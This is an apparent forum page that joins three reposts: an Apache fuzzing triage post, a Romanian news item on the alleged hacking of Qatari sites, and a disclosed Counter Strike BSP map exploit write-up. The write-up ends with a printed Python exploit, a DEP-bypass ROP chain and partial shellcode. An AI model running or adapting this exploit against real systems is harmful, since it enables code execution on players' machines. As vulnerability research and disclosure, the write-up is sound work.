valgrind One cool feature about valgrind is that, it will let you analyse the state of the of the program when an error occurs. We can do this through the --vgdb-error=1 flag. This flag will tell valgrind to stop execution on the first error reported and will wait for a debugger to attach to it. This is perfect for our case since it seems that we are accessing uninitialised values and accessing values outside of a buffer (out-of-bounds read) which is not a segfault but it still is an error under valgrind. To use this feature, first we need to run in one shell: ? 1 NO_FUZZ=1 valgrind --vgdb-error=0 -- /usr/local/apache_afl_blogpost/bin/httpd -X Then, in a second separate shell, we send our input that triggers the bug: ? 1 cat crashing-testcase.req | nc localhost 8080 Finally, in a third shell, we run gdb and attach through valgrind's command: ? 1 target remote | /usr/lib/valgrind/../../bin/vgdb We are now inspecting what is happening inside Apache at the exact point of the error: Figure 1 - Inspecting on first valgrind reported error. As you can see the first reported error is on line 1693. Our intuition tells us it is going to be the variable s as it is being increased without any "proper" checks, apart from the *s instruction, which will be true unless it points to a null value. Since s is optimised out at compile time, we need to dive into the backtrace by going up one level and inspecting the conn variable which is the one that s will point to. It is left as an exercise for the reader as to why the backtrace shown by pwndbg is different than the one shown by the "bt" command. For the next figures, keep in mind the 2 highlighted values on Figure 1: 0x6e2990c and 8749. Here is where, for our analysis, the number from Figure 1, 8749, makes sense as we can see that the variable conn is allocated with 8192 bytes at 0x6e2990c. We can tell that something is wrong as 8749 is way far from the allocated 8192 bytes. This is how we calculated the previous 8749 bytes. We stepped into the next error reported by valgrind through issuing the gdb "continue" command and letting it error out. There was an invalid read at 0x6e2bb39 and the initial pointer to the "conn" variable was at 0x6e2990c. Remember that s is optimized out so we need to do some math here as we can't get the real pointer from s on debugging time. Said this, we need to get the offset with: invalid_read_offset = valgrind_error_pointer - conn which is: 8749 = 0x6e2bb39 - 0x6e2990c rr - Record & Replay Framework During the process of the triage, one can find several happenings that can hinder the debugging process: Apache will stop out of nowhere (haven't managed to get the reason why), valgrind will make it crash on parts that it is not supposed to because of it adding its own function wrappers, the heap will be different on valgrind debugging sessions than plain gdb or vanilla runs, etc. Here is where the Record & Replay Framework comes in handy: Deterministic replaying of the program's state. You can even Replay the execution backwards which, in our case, is totally awesome! Must say I discovered this tool thanks to a good friend and colleague of mine, Symeon Paraschoudis, who introduced this marvellous piece of software to me. Let's cause the segmentation fault while recording with rr and replay the execution: Full analysis is not provided as it is outside of the scope of this post. Conclusions We have learned how to use bash to effectively scrap stuff as test cases from the web and to believe that, even thought hundreds of people might be fuzzing a certain piece of software, we can still add our value when using the right combination of tools, mutations and knowledge. Tools have been discovered along the way that will aid and help further triage. Stay tuned for the search of animal 0day! Cross-posts from the SensePost blog upcoming with challenges on heap-exploitation! Post-Scriptum I am willing to donate the 1500$ bounty I received from the Internet Bug Bounty to any organisation related to kids schooling and, especially, those teaching and providing means regarding Information Technologies. Knowledge is Power! So tune in and leave your suggestions in the comment section below; I have thought of ComputerAid, any opinions on this? Publicado por Javier Jiménez en 14:24 Sursa: https://animal0day.blogspot.ro/2017/07/from-fuzzing-apache-httpd-server-to-cve.html

Emiratele Arabe Unite au spart site-urile oficiale qatareze, creand pretextul pentru ruperea relatiilor cu Qatarul ce a dus la criza din regiune - Washington Post de G.S. HotNews.ro Luni, 17 iulie 2017, 8:44 Actualitate | Internaţional Steagul Qatarului Foto: Wikimedia Commons Emiratele Arabe Unite (EAU) au orchestrat spargerea site-urilor de stiri guvernamentale ale Qatarului pentru postarea de declaratii false incendiare atribuite emirului Qatarului, lucru ce a dus la ruperea relatiilor dintre Qatar si vecinii sai, potrivit unor oficialii din serviciile de informatii din SUA, scrie Washington Post. Oficiali americani au aflat saptamana trecuta ca analiza informatiilor obtinute de serviciile secrete ale SUA a confirmat ca pe 23 mai inalti reprezentanti ai guvernului din Emiratele Arabe Unite au discutat planul si implementarea lui. Inca nu este clar daca EAU au realizat atacul cibernetic sau au platit pe altcineva. Potrivit stirilor false postate pe site-urile qatareze de stiri si pe conturile guvernamentale de pe retelele sociale, emirul Sheikh Tamim Bin Hamad al-Thani ar fi spus ca Iranul este o “putere islamica” si a laudat Hamas. Spargerea conturilor si diseminarea falselor declaratii au avut loc pe 24 mai, la scurt timp dupa ce Donald Trump a avut, in Arabia Saudita, o lunga intalnire pe tema anti-terorismului cu liderii din Golful Persic, presedintele american declarand la final ca aceste tari au ajuns la o pozitie comuna. Invocand falsele declaratii ale emirului, Arabia Saudita, Bahrain si Egipt au rupt relatiile cu Qatar si au declansat un boicot comercial si diplomatic ce a declansat o criza politica si diplomatica din regiune. Ambasadorul la Washington al Emiratelor Arabe Unite a negat infomatiile, spunand ca articolul din Post este “fals”. “EAU nu a avut absolut niciun rol in presupusul hacking descris in articol. Ceea ce este real este comportamentul Qatarului. Finantarea, sprijinirea si incurajarea extremistilor, de la talibani la Hamas si Gaddafi. A incitat la violenta, a incurajat radicalizarea si a subminat stabilitatea vecinilor sai”, a sustinut ambasadorul Yousef al-Otaiba. Sursa: http://www.hotnews.ro/stiri-international-21905130-emiratele-arabe-unite-spart-site-urile-oficiale-qatareze-creand-pretextul-pentru-ruperea-relatiilor-qatarul-dus-criza-din-regiune-washington-post.htm?source=biziday

@aelius

Lock and Load: Exploiting Counter Strike via BSP Map Files Jul 7, 2017 • Grant What makes Counter Strike an interesting target is that it relies on a game lobby for players to find and select servers to play on. Upon connecting to the server, the game client will automatically download any required resources (maps, textures, sounds, etc.). Once all of the resources have been downloaded, they have to be loaded and parsed from disk into memory. Only then will the client begin receiving commands and entity updates from the server. This automatic resource fetching looked like the ticket to a remotely exploitable vulnerability via a local file. The vulnerability discussed in this article has been disclosed to Valve Security and the patch publicly deployed on July 10th. I would like to extend my thanks to the Valve Security team and specifically to Alfred Reynolds who was my liaison during the disclosure process. The whole process, from initial email to fix, lasted less than 30 days. I certainly look forward to disclosing to Valve in the future. Go, go, go! - Finding Crashes My approach to finding bugs was to use the tried and true method of fuzzing. Essentially I gathered a bunch of existing BSP map files for my corpus and then used them as seeds to my fuzzing engine. This will corrupt them and then feed them back in to the program (CZ) to be parsed while being watched for any crashes. If a crash is found, it is recorded and stored for later triage and classification. I figured that highly complex file formats such as .BSP would map quite well to low-level memcpy operations in the engine. It’s even possible that stored sizes of data structures in the BSP file will be less validated than most file formats. I had a few false starts to this project when selecting a fuzzer to use. First I tried honggfuzz under Cygwin, but this proved to be completely broken for crash detection. Next I tried WinAFL which I was unable to get to work due to some binary incompatibilities and possible Windows 10 issues. This led to a multi-day rabbit hole of building DynamicRIO from source and rebuilding WinAFL against it. In the end I gave up trying to get a coverage based fuzzer to work and went instead with the solid CERT Basic Fuzzing Framework (BFF). This proved to be an excellent choice due to its easy configuration file and deep integration with Microsoft debugging tools, including WinDBG and !exploitable. I also had some relevant experience with the framework through fuzzing VLC when it used to be called Failure Observation Engine (FOE). BFF is a simple “dumb” fuzzer, meaning it merely corrupts bytes in the file and writes it back out. It has no knowledge of the BSP file format or of the target it is fuzzing. This is great for quick setup, but for more complex formats, code coverage of the parsing code may be limited. For shallow bugs, dumb fuzzing will not have much of an issue finding them. With this fuzzer in mind, I went about exploring instrumentation on the GoldSrc engine. When running a game on this engine, the executable hl.exe boots, loads common engine resources, and then loads a game specific DLL (known as a client DLL or cl_dll) which drives the engine via a proxy API. This API and the associated utilities are the primary SDK interface that many game modders deal with. Technically Counter Strike 1.6 (cstrike) and Condition Zero (czero) are both considered “mods” as they merely use the proxy API for gameplay. When running a mod like CZ, the engine command line looks like: hl.exe -game czero $OTHER_ARGS. In order to quickly iterate through map files, I looked up the command line flags for starting the engine with CZ and to load a map upon start. This is the command line I used: C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hl.exe -game czero -dev -window -console +sv_lan 1 +map MAP_NAME where -window makes it so I can fuzz and browse the web at the same time, sv_lan 1 makes a local-only server, and map immediately changes the map on login. With the ability to programmatically run the engine, I installed BFF, Debugging Tools for Windows, and then started configuring BFF. BFF installs to C:\BFF by default and has the concept of a fuzzing campaign. I started a new one for CZ and then edited the bff.yaml configuration file: campaign: id: counter strike czero keep_heisenbugs: False use_buttonclicker: False target: program: C:\Users\MyName\.babun\cygwin\bin\bash.exe cmdline_template: $PROGRAM -c '"C:/BFF/mover.sh" $SEEDFILE "C:/Program Files (x86)/Steam/steamapps/common/Half-Life/hl.exe" -game czero -dev -window -console +sv_lan 1 +map aim_fuzz' NUL ... directories: seedfile_dir: seedfiles\bsp working_dir: fuzzdir results_dir: results ... fuzzer: fuzzer: bytemut fuzz_zip_container: False Everything except program, cmdline_template, and seedfile_dir are the defaults. Notice that this cmdline isn’t just running hl.exe. This is because I ran into problems getting the corrupted BSP file to be read by the engine. GoldSrc has a dedicated, per-mod resource directory and will not load resources based on an absolute path. Hence, I made a bash script under Cygwin to first move the generated BSP file to the resource directory as aim_fuzz.bsp. It’s a simple three-liner, it gets the job done, and doesn’t affect crash detection due to exec: /bin/cp "$1" "c:\\Program Files (x86)\\Steam\\steamapps\\common\\Half-Life\\czero_downloads\\maps\\aim_fuzz.bsp" shift exec "$@" It’s unfortunate that BFF doesn’t support post-processing fuzzed files like honggfuzz does, since this would have eliminated the need for this hack. With the fuzzer set up, I copied all of the map files less than 3.0 MB from my czero_downloads/maps folder into the seedfiles\bsp directory. This left me with 74 map files as seeds. I could have used more, but as you will see, finding crashes was not that difficult. Fire in the Hole! - Triaging Crashes After running for less than a day on a single Windows 10 x64 machine, 43 crashes were found. It’s no surprise that the BSP parsing turned up a lot of unique crashes as it’s a complex file format combining many different data objects into one format. Here’s the crash breakdown by predicted severity: 3 - EXPLOITABLE 5 - PROBABLY_EXPLOITABLE 35 - UNKNOWN Thanks to MSEC’s !exploitable, most of the hard crash triage was already done. Each crash folder had the minimized test case along with a full WinDBG log and !analyze output. In order to reproduce these crashes, BFF provides a nice script called repro.py. Running python C:\BFF\tools\repro.py -w PATH_TO_FUZZED_FILE will drop you into a WinDBG GUI for further investigation. With that, let’s take a look at the three EXPLOITABLE crashes. Crash #1 Now this looks interesting. EIP looks like ASCII which might mean we have control over it! ... Spawn Server aim_fuzz Clearing memory Using WAD File: uacyber_stproz.wad Using WAD File: as_tundra.wad Using WAD File: halflife.wad Using WAD File: cs_dust.wad Using WAD File: cs_cbble.wad Texture load: 56.7ms WARNING: failed to locate sequence file aim_fuzz "sv_maxspeed" changed to "900" GAME SKILL LEVEL:1 "pausable" changed to "0" Executing listen server config file (465c.4c78): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 44334143 ?? ??? ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x44334143 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Data Execution Protection (DEP) Violation Exception Hash (Major/Minor): 0x1e2606b6.0x1e2606b6 Hash Usage : Stack Trace: Major+Minor : Unknown Instruction Address: 0x0000000044334143 Description: Data Execution Prevention Violation Short Description: DEPViolation Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000044334143 (Hash=0x1e2606b6.0x1e2606b6) Unfortunately further investigation showed that this wasn’t the case and EIP just coincidentally got an ASCII-only value. Let’s dive into IDA to investigate…but where was the original faulting instruction? How did we get to 0x44334143? This called for some WinDBG learning. I needed a way to know what the last instruction was right before the DEP violation. Originally before writing this post, I had single stepped WinDBG until arriving at the faulting address. But now when I reproduce the crash I’ve come to realize that the backtrace contains the last stack frame. If this crash had caused stack corruption then this approach wouldn’t have worked, since stack corruption would have corrupted the stack frames (i.e. the saved EBP value). 1:005:x86> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0019f2c0 00000000 028e433d 10342a7c 10342a88 0x44334143 1:005:x86> r eax=00000080 ebx=10342a88 ecx=10342a7c edx=1069d298 esi=106e4b34 edi=10342938 eip=44334143 esp=0019f2c4 ebp=0019f2e4 iopl=0 ov up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a16 44334143 ?? ??? I tried visiting 0x28e433d in IDA and I saw this function call: Stepping into this function showed this: It looks like the jmp target has been controlled from a starting offset via EAX. It looks like an attempt was made to prevent the function pointer index from going above 7, but JGE on x86 is a signed comparison! This means that EAX can go negative (0x80 - 0xff) and pass the check as this signed char is casted to unsigned char for the jump. In WinDBG at the time of the crash, EAX was 0x80. Doing some pointer math of 0x297bad4+[0x80∗4]=0x297bcd40x297bad4+[0x80∗4]=0x297bcd4 and then a lookup in IDA shows at the calculated address: If you notice, the CA3D string matches perfectly to our crashing address, except it’s bytes are reversed. The hex dump confirms this: So what we have is a controlled function pointer load and transfer within a range of 127 DWORDs. This read occurs from the .data section, which is read-write, but from this point, we’d have to find a controlled place in this tight range to write a known code address. With this understanding and a bit of disappointment I moved on to the other crashers to see if I’d have any better luck. Crash #2 The next crash turns out to be a little bit more interesting but not obviously easier to get code execution ... Adding: czero/dlls\mp.dll ModLoad: 00000000`256d0000 00000000`25860000 c:\program files (x86)\steam\steamapps\common\half-life\czero\dlls\mp.dll Dll loaded for mod Condition Zero ModLoad: 00000000`607e0000 00000000`6086e000 c:\program files (x86)\steam\steamapps\common\half-life\platform\servers\serverbrowser.dll ModLoad: 00000000`61700000 00000000`61757000 C:\Program Files (x86)\Steam\steamapps\common\Half-Life\vstdlib.dll MP3_InitStream(30, sound\music\downed_intro.mp3) successful Spawn Server aim_fuzz Clearing memory (61b8.7004): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. ** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hw.dll - hw+0x3f53f: 0285f53f 8906 mov dword ptr [esi],eax ds:002b:77023e00=5d00191d ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception ** ERROR: Symbol file could not be found. Defaulted to export symbols for hl.exe - Exception Faulting Address: 0x77023e00 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation Faulting Instruction:0285f53f mov dword ptr [esi],eax Exception Hash (Major/Minor): 0xdfa48bac.0x58d60243 Hash Usage : Stack Trace: Major+Minor : hw+0x3f53f ... Minor : ntdll_77470000!_RtlUserThreadStart+0x1b Instruction Address: 0x000000000285f53f Description: User Mode Write AV Short Description: WriteAV Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - User Mode Write AV starting at hw+0x000000000003f53f (Hash=0xdfa48bac.0x58d60243) From this crash log, it looks like we have control over ESI. Further investigation in IDA and some reverse code lookups in ReHLDS found the original function: void Mod_LoadTextures(lump_t *l) { dmiptexlump_t *m; miptex_t *mt; ... char dtexdata[348996]; ... texture_t *tx; wads_parsed = 0; starttime = Sys_FloatTime(); if (!tested) Mod_AdInit(); if (!l->filelen) { loadmodel->textures = 0; return; } m = (dmiptexlump_t *)(mod_base + l->fileofs); // looks like we corrupted a lump header m->_nummiptex = LittleLong(m->_nummiptex); // the crashing line loadmodel->numtextures = m->_nummiptex; loadmodel->textures = (texture_t **)Hunk_AllocName(4 * loadmodel->numtextures, loadname); ... Looks like a corrupted lump fileofs which caused a bad pointer dereference on line 468. This is interesting as we have control over the entire lump contents, but it’s going to require some more reading to figure out how to achieve code execution. Overall this function is a mess of direct pointer arithmetic and there are bound to be many more ways to make this function crash. Some more digging would probably yield a write-what-where primitive, but I moved on to the next crash to see if it was easier to exploit. Crash #3 The last crash turned out to be quite interesting. The fuzzed BSP file was based upon the map awp_snowsk337.bsp (a really fun map). Here is the WinDBG output of the two crashing exceptions: ... Spawn Server aim_fuzz Clearing memory Texture load: 50.3ms (ab5c.72b8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Steam\steamapps\common\Half-Life\hw.dll - hw+0x4ddd7: 0286ddd7 8941f8 mov dword ptr [ecx-8],eax ds:002b:001a0000=78746341 ... !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x1a0000 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation Exception Hash (Major/Minor): 0xfa8446e7.0xb321cd22 Hash Usage : Stack Trace: Major+Minor : hw+0x4ddd7 ... Minor : Unknown Instruction Address: 0x000000000286ddd7 Description: Exception Handler Chain Corrupted Short Description: ExceptionHandlerCorrupted Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Exception Handler Chain Corrupted starting at hw+0x000000000004ddd7 (Hash=0xfa8446e7.0xb321cd22) And when continuing from this first chance exception to the Structured Exception Handler (SEH): 1:005:x86> g;$$Found_with_CERT_BFF_2.8;r;!exploitable -v;q ModLoad: 70e20000 70e33000 C:\WINDOWS\SysWOW64\dhcpcsvc6.DLL ModLoad: 70e00000 70e14000 C:\WINDOWS\SysWOW64\dhcpcsvc.DLL (694c.9748): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=44980000 edx=774f2d90 esi=00000000 edi=00000000 eip=44980000 esp=0019ea58 ebp=0019ea78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 44980000 ?? ??? !exploitable 1.6.0.0 HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x44980000 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Data Execution Protection (DEP) Violation Exception Hash (Major/Minor): 0x918f89cc.0x7f62488f Hash Usage : Stack Trace: Major+Minor : Unknown Excluded : ntdll_77470000!ExecuteHandler2+0x26 Excluded : ntdll_77470000!ExecuteHandler+0x24 Excluded : ntdll_77470000!KiUserExceptionDispatcher+0xf Excluded : Unknown ... Excluded : Unknown Instruction Address: 0x0000000044980000 Description: Data Execution Prevention Violation Short Description: DEPViolation Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000044980000 called from Unknown Symbol @ 0xffffffffc40e0000 (Hash=0x918f89cc.0x7f62488f) This crash transferred control to the default SEH on the stack, the trigger being an access violation after dereferencing the stack guard page. It looks like a nearly unlimited buffer overflow which is exactly the type of exploitability I was looking for. BFF happens to provide some heuristics to determine the “Exploitability Rank” and it gave this a 5/100 (lower is better). Crash #1 had a score of 20 (possibly exploitable) and Crash #2 a 100 (no way). The SEH handler’s address was overwritten to 0x44980000, which happens to be the float value of 1216.0. A quick search of the corrupted file with 010 Editor yielded hundreds of values like this. In order to determine the exact value that would give us control over the SEH handler, I wrote a script to incrementally replace each found value with an incrementing float value. Rerunning with the new BSP file yielded a file offset of 0x4126C bytes. Now I had control over EIP! Observe: 1:005:x86> r (694c.9748): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=deadbeef edx=774f2d90 esi=00000000 edi=00000000 eip=deadbeef esp=0019ea58 ebp=0019ea78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 deadbeef ?? ??? From this point (due to DEP) I needed to ROP out of the exception handler frame and back to the old stack. For this I needed a special gadget of the form pop REG32, pop REG32, pop esp, ret or similar. The next tool that helped me start ROPing was !mona running under Immunity DBG. Using mona’s “findwild” gadget search, I tried to find an appropriate stack pivot in non-ASLR’d, non-rebased modules, but I was unable to after many hours of poring over gadgets. This was quite disappointing. Luckily I still had complete control over the stack frame, so all I needed to do was to find out how to overwrite the saved return address for the function. Dropping into IDA revealed a reasonably simple function (Note: this function was difficult to understand at first and to took me a while to understand the mapping from the BSP file to the code. This is the finished version before I found the source code online and learned the real names and data types. Many days of hard work are being glossed over.) int __cdecl GL_SubdivideSurface(MapInfo *object) { signed int numVerts; // ecx@1 int numVertsToProc; // edi@1 struct_gData *bObject; // edx@2 int initialIndex; // esi@2 float *pVEC3DATA; // ecx@2 int indexPos; // esi@2 signed int index; // edi@3 int offset; // eax@4 float *pVEC3; // eax@6 float VEC3DATA[192]; // [sp+4h] [bp-304h]@2 int numVertsStack; // [sp+304h] [bp-4h]@2 int vec3Count; // [sp+310h] [bp+8h]@2 numVerts = 0; g_modVuln = object; numVertsToProc = object->numVerts; if ( numVertsToProc > 0 ) { bObject = g_CurBObject; initialIndex = object->initialIndex; // 00002c4c pVEC3DATA = &VEC3DATA[1]; vec3Count = object->numVerts; // initially 0x9c (this was corrupted from fuzzer) indexPos = initialIndex; numVertsStack = numVertsToProc; do { index = bObject->INDEX_BUFFER[indexPos]; if ( index <= 0 ) offset = bObject->VERTEX_BUFFER_INDEX[-4 * index + 1]; else offset = bObject->VERTEX_BUFFER_INDEX[4 * index]; ++indexPos; pVEC3DATA += 3; pVEC3 = &bObject->VECTOR_DATA[3 * offset]; *(pVEC3DATA - 4) = *pVEC3; *(pVEC3DATA - 3) = pVEC3[1]; *(pVEC3DATA - 2) = pVEC3[2]; // overwrite here --vec3Count; } while ( vec3Count ); numVerts = numVertsStack; } return SubdivideSurface(numVerts, (int)VEC3DATA);// if numverts == 0, this function returns quick } By reading the excellent IDA decompiled source with struct types, I determined that BFF had corrupted the vec3Countvariable. This caused more than 64 VEC3 (three 4-byte floats) to be placed into the VEC3DATA struct causing the numVertsStack and vec3Count variables to be corrupted. vec3Count was corrupted to a large number, which is why we saw the exception at 0286ddd7 mov dword ptr [ecx-8],eax when it overwrote the guard page. Get out of there, it’s gonna blow! - Exploiting the Crash At this point I still need to solve three problems in order to gain code execution: Where in the BSP file maps to the VECTOR_DATA, INDEX_BUFFER and VERTEX_BUFFER_INDEX data streams? How do I bypass the SubdivideSurface function so that the GL_SubdivideSurface returns? How do I disable DEP and start running shellcode? Problem #1 I did some more digging with 010 Editor (this tool proved so invaluable that I bought it) and using a similar approach to finding the SEH handler offset, I found the starting offsets for all three buffers. There was some guessing and fudging of the numbers to get things just right, but it worked for the file I was corrupting, so I didn’t worry about perfecting it. In possible future BSP exploits, I’d like to understand more about the file format in order to create more knowledgeable exploit generators. My first effort towards this has been the creation of an 010 Editor binary template file for parsing out the Half-Life 1 BSP format (version 30 with no magic FourCC value in the header). 010 Editor is my go to tool for reverse engineering and viewing binary file formats. The BSP format has many versions and modifications. The Half-Life 1 version is documented here. In short, BSP is made up of “lumps” which are just blocks of bytes that have a defined data structure, such as textures, vertices, edges, faces, entities, etc. Through fuzzing, different parts of the lumps will be affected, which will affect the parsing of the file. Problem #2 The GL_SubdivideSurface function must return in order to pop the corrupted saved return address off the stack, but there is a tail call of SubdivideSurface which prevents this. Also there is a bounds check on the numVerts which limits it to 60 (not enough to overflow important data). int __cdecl SubdivideSurface(signed int numVerts, int object) { if ( numVerts > 60 ) sub_28C8450("numverts = %i", numVerts); sub_286D4C0(numVerts, (float *)object, (int)v35, (int)v31); for ( i = 0; ; ++i ) { if ( i >= 3 ) { result = sub_28E5D30(28 * (numVerts - 4) + 128); v26 = result; *(_DWORD *)result = gWarpface->field_24; *(_DWORD *)(result + 12) = *(_DWORD *)&gWarpface->gap0[8]; gWarpface->field_24 = result; *(_DWORD *)(result + 8) = numVerts; v30 = 0; while ( v30 < numVerts ) { ... } return result; // we want to reach here to exit quickly } v2 = (v35[i] + v31[i]) * 0.5; v24 = floor(v2 / 64.0 + 0.5) * 64.0; if ( v31[i] - v24 >= 8.0 && v24 - v35[i] >= 8.0 ) break; } ... SubdivideSurface(v34, (int)&v39); return SubdivideSurface(v46, (int)&v43); } Further reading of this function made me realize that if could I can somehow change the numVerts input argument then I could quickly bypass this function. To my luck, the GL_SubdivideSurface stack frame had numVerts right below the overflowed buffer. This meant that I could control the variable to fake the number of vertices processed SubdivideSurface, effectively bypassing it. Problem #3 With the knowledge of where to place my data in the BSP file (to cause reliable bytes to be placed on the stack), I just needed a nice ROP chain that would allow me to disable DEP on the current stack page and then jump to my shellcode. Mona to the rescue! Simply running !mona rop and waiting an hour I was left with a nice, DEP-disabling ROP chain. I also learned that you can use VirtualAlloc on already allocated memory to set flags, just like VirtualProtect. I initially tried to use VirtualProtect, but none of the safe modules had any references to it. Only four modules were available for ROP gadgets in the process: hl.exe, filesystem_stdio.dll, hw.dll, steamclient.dll, and icudt.dll. Unfortunately the reliability of this exploit was limited due to the heavy usage of gadgets from steamclient.dll, which changes on every steam update. This actually happened during my exploitation process, necessitating a re-generation of my gadgets. What a pain! Hours of debugging and testing with WinDBG later, I had successfully confirmed that this ROP chain was working! All I needed was to change my exploit script to add in some shellcode and I was golden. I found some Windows Universal cmd.exe shellcode from Shell Storm and BOOM! Command prompt appeared. Check out a video of it in action Here is the complete exploit code that I wrote to get control over the BSP file and get code running: #!/usr/bin/env python # Counter Strike: Condition Zero BSP map exploit # By @Digital_Cold Jun 11, 2017 from binascii import hexlify, unhexlify from struct import pack, unpack import math import mmap import logging fmt = "[+] %(message)s" logging.basicConfig(level=logging.INFO, format=fmt) l = logging.getLogger("exploit") # Specific to the file INDEX_BUFFER_OFF = 0x92ee0 # ARRAY[int] VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short] VERTEX_DATA_OFF = 0x37f7c # ARRAY[VEC3], VEC3[float, float, float] NUM_EDGES_OFF = 0x70f94 # The length that was fuzzed to cause the crash # No longer used as could not find a gadget to 'pop, pop, pop esp, ret' # SEH_OVERWRITE_OFF = 0x4126C # Initial offset into the index buffer where the function to exploit resides INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already # INDEX_BUFFER # 0: 20 # 1: 10 # 2: 2 --> Vertex Buffer Indexes # VERTEX BUFFER INDEXES # 0: 1 # 1: 2 # 2: 4 --> Vertex Data # VERTEX DATA # 0: 1.23, 23423.0, 3453.3 # 1: 1.23, -9.0, 3453.3 # 2: 1.0, 1.0, 1.0 # 3: 1.0, 1.0, 1.0 # 4: 0.0, 1.0, 0.0 # Example: # a = INDEX_BUFFER[2] ; a = 2 # b = VERTEX_BUFFER[a] ; b = 4 # vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0 def dw(x): return pack("I", x) def main(): target_file = "eip-minimized.bsp" output_file = "exploit-gen.bsp" print "GoldSource .BSP file corruptor" print " by @Digital_Cold" print l.info("Corrupting target file %s" % target_file) # Read in and memory map target file fp = open(target_file, 'rb') mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY) fp.close() VEC3_COUNT = 63 # then come Saved EBP and return address start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET second_idx = VERTEX_BUFFER_INDEXES_OFF vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults l.info("Writing to index buffer offset %08x...", start_idx) l.info("Vertex buffer indexes start %08x", second_idx) l.info("Vertex data at %08x", vertex_data_start) data_buffer = [] for i in range(VEC3_COUNT): for j in range(3): data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory data_buffer.append("\x00\x00\x00\x00") # dont care data_buffer.append("\x00\x00\x00\x00") # unk1 data_buffer.append("\x00\x00\x00\x00") # unk2 data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call) data_buffer.append("\x00\x00\x00\x00") # EBP data_buffer.append(dw(0x01407316)) # Saved Ret --> POP EBP; RET [hl.exe] # XXX: bug in mona. This is a ptr to VirtualProtectEx!! # 0x387e01ec, # ptr to &VirtualProtect() [IAT steamclient.dll] """ Register setup for VirtualAlloc() : -------------------------------------------- EAX = NOP (0x90909090) ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualAlloc() EDI = ROP NOP (RETN) --- alternative chain --- EAX = ptr to &VirtualAlloc() ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = POP (skip 4 bytes) ESI = ptr to JMP [EAX] EDI = ROP NOP (RETN) + place ptr to "jmp esp" on stack, below PUSHAD -------------------------------------------- """ # START ROP CHAIN # DEP disable ROP chain # rop chain generated with mona.py - www.corelan.be # # useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio rop_gadgets = [ #0x3808A308, # INT3 # RETN [steamclient.dll] 0x38420ade, # POP EDX # RETN [steamclient.dll] 0x387e01e8, # ptr to &VirtualAlloc() [IAT steamclient.dll] 0x381236c5, # MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll] 0x381ebdc1, # POP EBP # RETN [steamclient.dll] 0x381f98cd, # & jmp esp [steamclient.dll] 0x387885ac, # POP EBX # RETN [steamclient.dll] 0x00000001, # 0x00000001-> ebx 0x384251c9, # POP EDX # RETN [steamclient.dll] 0x00001000, # 0x00001000-> edx 0x387cd449, # POP ECX # RETN [steamclient.dll] 0x00000040, # 0x00000040-> ecx 0x386c57fe, # POP EDI # RETN [steamclient.dll] 0x385ca688, # RETN (ROP NOP) [steamclient.dll] 0x0140b00e, # POP EAX # RETN [hl.exe] 0x90909090, # nop 0x385c0d3e, # PUSHAD # RETN [steamclient.dll] ] # Can be replaced with ANY shellcode desired... # http://shell-storm.org/shellcode/files/shellcode-662.php shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \ 